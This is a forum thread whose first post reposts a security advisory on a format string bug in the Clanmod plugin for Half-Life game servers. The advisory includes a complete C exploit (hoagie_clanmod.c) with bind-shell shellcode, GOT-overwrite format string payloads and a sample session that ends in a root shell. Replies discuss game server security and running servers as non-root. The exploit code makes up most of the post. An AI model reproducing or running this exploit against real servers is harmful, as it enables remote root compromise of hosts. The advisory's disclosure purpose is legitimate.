Results 1 to 6 of 6

Thread: Vulnerability: Half-Life Clanmod remote (root) hole

  1. #1
    Fastest Thing Alive s0nIc's Avatar
    Join Date
    Sep 2001
    Location
    Sydney
    Posts
    1,584

    Exclamation Vulnerability: Half-Life Clanmod remote (root) hole

    Due to a format string bug in clanmod, it is possible for a remote attacker who knows the rcon-password to remotely exploit the gameserver.

    Clanmod[1] is a plugin for the "Half-Life Server", hosting


    the most popular online game today, "Counter-Strike", among
    others.

    Overview
    ========

    Due to a format string bug in clanmod, it is possible
    for a remote attacker who knows the rcon-password to
    remotely exploit the gameserver. Since most game-server-
    admins I've seen are not very security-aware, the server
    generally runs as root.

    The rcon-password can be obtained using social engineering
    or sniffing-techniques, since it is being transmitted
    in plaintext. It is needed because the vulnerable function
    can only be called via rcon.

    Affected Versions
    =================

    All Clanmod versions on Windows and Linux.
    Successfully tested with Clanmod 1.81.11 running on
    hlds 3.1.1.0 on Linux.

    Impact
    ======

    High. Remote-shell and very likely remote-root.

    Details
    =======

    This is a format string bug. Clanmod registers the command
    "cm_log" to the halflife server, its purpose is to write a line
    to the server log. This line is written using a printf-function
    as seen in server.cpp:

    2790 void CmdLogMessage()
    2791 {
    2792 if (CMD_ARGC() > 1) {
    2793 UTIL_FillText((char*)CMD_ARGS()/*UTIL_GetVarArgs(1,FALSE)*/, NULL, 256,cmSet.allow_to_execute,NULL, NULL,TRUE);
    2794 UTIL_LogPrintf(UTIL_VarArgs("[%s] %s",Plugin_info.logtag, com_token));
    2795 }
    2796 else
    2797 PrintErrorInfo("cm_log");
    2798
    2799 //Close any opened gate
    2800 cmSet.allow_to_execute_time = gpGlobals->time + 0.25;
    2801 }

    Line 2794: UTIL_LogPrintf gets called with a user-supplied string.
    UTIL_LogPrintf itself calls vsnprintf with no further checks.

    rcon-output:

    log on
    cm_log %08x.%08x.%08x.%08x

    -> [CLANMOD] 00000000.bfff0001.433a9984.433a9964

    Solution
    ========

    Disable clanmod until a patched version becomes available.
    Change the rcon-password.

    Exploit
    =======

    Please find attached a demonstration exploit. Note that it will
    only work against a Linux-server due to the exploitation technique.
    This does NOT mean that Windows-servers are not vulnerable, they
    still suffer from the same hole.

    Sample exploitation session
    ===========================

    greuff@saturn:~$ ./hoagie_clanmod localhost 27015 myprecious
    hoagie_clanmod - remote exploit for hlds servers using the clanmod plugin
    by greuff@void.at

    Getting stackpop count....
    Stackpops found: 71, Padding: 1
    Writing shellcode.....
    Connecting to the shell...
    Connect to the shell
    id
    uid=0(root) gid=0(root) groups=0(root),101(lpadmin)
    exit

    Discovered by
    =============

    greuff <greuff@void.at>

    Credits
    =======

    void.at
    everyone who was at 19c3

    References
    ==========

    [1] http://www.unitedadmins.com

    ==================================================================

    /*****************************************************************
    * hoagie_clanmod.c
    *
    * Remote exploit for Halflife-Servers running the Clanmod-Plugin
    * (rcon-password required)
    *
    * Binds a shell to port 30464/tcp and connects to it.
    *
    * Author: greuff@void.at
    *
    * Tested on HL-Server v3.1.1.0 and ClanMod 1.81.11
    *
    * Credits:
    * void.at
    * Taeho Oh for using parts of his shellcode-connection code.
    *
    * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
    * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
    * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
    *
    *****************************************************************/

    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <errno.h>
    #include <string.h>

    #define VSNPRINTF_GOT_ADDRESS 0x0804ce18
    #define OFFSET 0x41414141

    #define SB4(a) ((unsigned int)(a>>24))
    #define SB3(a) ((unsigned int)((a>>16)&0xFF))
    #define SB2(a) ((unsigned int)((a>>8)&0xFF))
    #define SB1(a) ((unsigned int)(a&0XFF))

    // forks and binds a shell to 30464/tcp. parent process exit()s.
    char shellcode[] = "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06"
    "\x31\xc0\xb0\x01\xcd\x80"
    "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
    "\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
    "\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x77"
    "\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
    "\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
    "\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
    "\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
    "\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
    "\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
    "\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
    "\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
    "\x24\x31\xc0\xb0\x0b\xcd\x80"
    "\x31\xc0\xb0\x01\xcd\x80";

    char server_ip[20];
    char rcon_pwd[30];
    int server_port;

    int exec_sh(int sockfd)
    {
    char snd[4096],rcv[4096];
    fd_set rset;
    while(1)
    {
    FD_ZERO(&rset);
    FD_SET(fileno(stdin),&rset);
    FD_SET(sockfd,&rset);
    select(255,&rset,NULL,NULL,NULL);
    if(FD_ISSET(fileno(stdin),&rset))
    {
    memset(snd,0,sizeof(snd));
    fgets(snd,sizeof(snd),stdin);
    write(sockfd,snd,strlen(snd));
    }
    if(FD_ISSET(sockfd,&rset))
    {
    memset(rcv,0,sizeof(rcv));
    if(read(sockfd,rcv,sizeof(rcv))<=0)
    exit(0);
    fputs(rcv,stdout);
    }
    }
    }

    int connect_sh()
    {
    int sockfd,i;
    struct sockaddr_in sin;
    printf("Connect to the shell\n");
    fflush(stdout);
    memset(&sin,0,sizeof(sin));
    sin.sin_family=AF_INET;
    sin.sin_port=htons(30464);
    if(inet_aton(server_ip,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
    {
    printf("Can't create socket\n");
    exit(0);
    }
    if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
    {
    printf("Can't connect to the shell\n");
    exit(0);
    }
    return sockfd;
    }

    void create_conn(int *sock, char *host, int port)
    {
    struct sockaddr_in sin;
    struct timeval timeout;

    sin.sin_family=AF_INET;
    sin.sin_port=htons(port);
    if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
    if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);

    timeout.tv_sec=10;
    timeout.tv_usec=0;
    if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout,
    sizeof(timeout))<0)
    perror("setsockopt"),exit(1);
    if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout,
    sizeof(timeout))<0)
    perror("setsockopt"),exit(1);
    }

    void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
    {
    char msg[2000];
    struct sockaddr_in sin;
    struct sockaddr_in sfrom;
    fd_set fdset;
    int dummy;

    usleep(100);

    sin.sin_family=AF_INET;
    sin.sin_port=htons(port);
    if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);

    sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
    if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
    perror("sendto"), exit(1);

    if(reply)
    {
    if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
    {
    if(errno==EAGAIN)
    {
    // resend message
    printf("msg stalled, resending...\n");
    sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
    if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
    perror("sendto"), exit(1);
    else
    printf("resend OK\n");
    if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
    perror("recvfrom"),exit(1);
    }
    else
    perror("recvfrom"), exit(1);
    }

    if(strncmp(msg,"\xFF\xFF\xFF\xFF",4))
    fprintf(stderr,"protocol error: reply\n"), exit(1);

    strcpy(reply,msg+4);
    }
    }

    void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char *reply_fun)
    {
    char reply[1000];
    char msg[2000];

    lowlevel_rcon(sock,host,port,"challenge rcon",reply);
    if(!strstr(reply,"challenge rcon "))
    fprintf(stderr,"protocol error\n"), exit(1);
    reply[strlen(reply)-1]=0;

    sprintf(msg,"rcon %s \"%s\" %s",reply+strlen("challenge rcon "),rconpwd,cmd);
    if(reply_fun)
    lowlevel_rcon(sock,host,port,msg,reply);
    else
    lowlevel_rcon(sock,host,port,msg,NULL);
    if(reply_fun)
    strcpy(reply_fun,reply);
    }

    int get_padding(unsigned char c,int bytes_written)
    {
    int write_byte=c;
    int already_written=bytes_written;
    int padding;

    write_byte+=0x100;
    already_written%=0x100;
    padding=(write_byte-already_written)%0x100;
    if(padding<10) padding+=0x100;

    return padding;
    }

    void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
    int *p4, int bytes_written)
    {
    // greetings to scud :-)
    int write_byte;
    int already_written;
    int padding;

    write_byte=SB1(addr);
    already_written=bytes_written;
    write_byte+=0x100;
    already_written%=0x100;
    padding=(write_byte-already_written)%0x100;
    if(padding<10) padding+=0x100;
    *p1=padding;

    write_byte=SB2(addr);
    already_written+=padding;
    write_byte+=0x100;
    already_written%=0x100;
    padding=(write_byte-already_written)%0x100;
    if(padding<10) padding+=0x100;
    *p2=padding;

    write_byte=SB3(addr);
    already_written+=padding;
    write_byte+=0x100;
    already_written%=0x100;
    padding=(write_byte-already_written)%0x100;
    if(padding<10) padding+=0x100;
    *p3=padding;

    write_byte=SB4(addr);
    already_written+=padding;
    write_byte+=0x100;
    already_written%=0x100;
    padding=(write_byte-already_written)%0x100;
    if(padding<10) padding+=0x100;
    *p4=padding;
    }

    int main(int argc, char **argv)
    {
    int sock, stackpops, padding;
    int i,j,bytes_written;
    int p1,p2,p3,p4;
    char cmd[1000], reply[1000];
    unsigned long addr;

    printf("hoagie_clanmod - remote exploit for hlds servers using the clanmod plugin\n"
    "by greuff@void.at\n\n");
    if(argc!=4)
    {
    printf("Usage: %s server_ip server_port rcon_password\n\n",argv[0]);
    exit(1);
    }

    strcpy(server_ip,argv[1]);
    server_port=strtol(argv[2],NULL,10);
    strcpy(rcon_pwd,argv[3]);

    create_conn(&sock,server_ip,server_port);

    printf("Getting stackpop count...");
    send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply);
    stackpops=-1;
    for(padding=0;padding<4 && stackpops==-1;padding++)
    {
    for(i=50;i<100 && stackpops==-1;i++)
    {
    strcpy(cmd,"cm_log ");
    for(j=0;j<padding;j++) strcat(cmd,"b");
    sprintf(reply,"AAAA%%%d$08x",i);
    strcat(cmd,reply);

    send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
    reply[strlen(reply)-1]=0;
    if(strstr(reply,"AAAA41414141"))
    {
    stackpops=i;
    strcpy(cmd,strchr(reply,'['));
    bytes_written=strlen(cmd)-8;
    }
    printf(".");
    fflush(stdout);
    }
    }
    padding--;
    if(stackpops==-1)
    {
    printf("\ncouldn't determine stackpop count. (I really tried hard!)\n");
    exit(1);
    }

    printf("\nStackpops found: %d, Padding: %d\n",stackpops,padding);

    // inject shellcode
    printf("Writing shellcode...");
    addr=OFFSET;
    for(i=0;i<strlen(shellcode)
    {
    int t;
    if((addr&0xFF)>0x75)
    {
    // leave space for jmp-instruction (5 bytes: 0xe9 offset/32)
    // distance is 0x13B-0x7A = 193d
    unsigned long target=192;

    strcpy(cmd,"cm_log ");
    for(j=0;j<padding;j++) strcat(cmd,"b");
    t=get_padding(0xe9,bytes_written);
    sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
    (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
    strcat(cmd,reply);
    send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

    addr++;
    strcpy(cmd,"cm_log ");
    for(j=0;j<padding;j++) strcat(cmd,"b");
    t=get_padding(target&0xFF,bytes_written);
    sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
    (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
    strcat(cmd,reply);
    send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

    addr++;
    strcpy(cmd,"cm_log ");
    for(j=0;j<padding;j++) strcat(cmd,"b");
    t=get_padding((target>>8)&0xFF,bytes_written);
    sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
    (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
    strcat(cmd,reply);
    send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

    addr++;
    strcpy(cmd,"cm_log ");
    for(j=0;j<padding;j++) strcat(cmd,"b");
    t=get_padding((target>>16)&0xFF,bytes_written);
    sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
    (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
    strcat(cmd,reply);
    send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

    addr++;
    strcpy(cmd,"cm_log ");
    for(j=0;j<padding;j++) strcat(cmd,"b");
    t=get_padding((target>>24)&0xFF,bytes_written);
    sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
    (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
    strcat(cmd,reply);
    send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

    addr+=193;
    }
    else
    {
    // write shellcode-pieces
    strcpy(cmd,"cm_log ");
    for(j=0;j<padding;j++) strcat(cmd,"b");
    t=get_padding(shellcode[i],bytes_written);
    sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
    (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
    strcat(cmd,reply);
    send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
    addr++;
    i++;
    }
    printf(".");
    fflush(stdout);
    }

    // overwrite GOT entry with shellcode address
    strcpy(cmd,"cm_log ");
    for(j=0;j<padding;j++) strcat(cmd,"b");
    get_write_paddings(OFFSET,&p1,&p2,&p3,&p4,bytes_written+28);
    addr=VSNPRINTF_GOT_ADDRESS;
    sprintf(reply,"%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA"
    "%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n",
    addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF,
    (addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF,
    (addr+2)&0xFF,((addr+2)>>8)&0xFF,((addr+2)>>16)&0xFF,((addr+2)>>24)&0xFF,
    (addr+3)&0xFF,((addr+3)>>8)&0xFF,((addr+3)>>16)&0xFF,((addr+3)>>24)&0xFF,
    p1,stackpops,p2,stackpops+2,p3,stackpops+4,p4,stackpops+6);
    strcat(cmd,reply);
    send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,NULL);
    sleep(1);
    close(sock);
    printf("\nConnecting to the shell...\n");
    exec_sh(connect_sh());
    return 0;
    }

    Source: http://www.xatrix.org/article2510.html

  2. #2
    Kwiep
    Join Date
    Aug 2001
    Posts
    924
    I got a slightly different version. For the ubergeeks who enjoy reading all this code . I copied this one from the bugtraq mailing list, for those who didn't sign up for that thing yet...
    Double Dutch

  3. #3
    Senior since the 3 dot era
    Join Date
    Nov 2001
    Posts
    1,542
    Game servers have always been a risk. -> e.g. Quake vulnerabilities! Even a backdoor in Quake 1 and 2. http://online.securityfocus.com/cgi-...nline/vulns.pl
    Other half-life vulnerabilities: http://online.securityfocus.com/cgi-...nline/vulns.pl

  4. #4
    Kwiep
    Join Date
    Aug 2001
    Posts
    924
    yeah that's very true... those gameservers are there to serve a game, and mostly the people who maintain it don't give a *censored* about vulnerabilities. They just like the game and like to play it with many people, if the thing crashes... **** happens, restart and of we go again. A bigger problem you have if people can get root, but if the system only runs for the game (mostly the case... all power to the game) a malicious person can't really do anything more then **** up the game. Well... that's bad enough though... anyways, when you don't run the game as root, most of the **** is solved (in this case) and newer linux distro's already have a special "game" user...
    Double Dutch

  5. #5
    Senior since the 3 dot era
    Join Date
    Nov 2001
    Posts
    1,542

    idd

    a malicious person can't really do anything more then **** up the game. Well... that's bad enough though...
    idd that's bad enough, I hate it when people cheat or DoS the servers or do similar things. Thats the advantage of small lan parties, or like Terr once said here at AntiOnline:
    So I'd say there's an additional element of trust and perhaps politeness, in that people tend to be nicer when they are in the same room than when they are a continent away. It's harder to be insulting, since if the guy on the other end *IS* built like Schwarzenegger, he *can* come over and give you a piece of his mind.

  6. #6
    Member
    Join Date
    Aug 2002
    Posts
    46
    The problem extends well beyond the idle gamer's server. There are hosting service companies out there who probably store sensitive material on these insecure gaming releases. I wonder if they stay aware about any vulnerabilities.
    Hell I'm about to boot up Counter Strike right now :P Gt: cormega

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •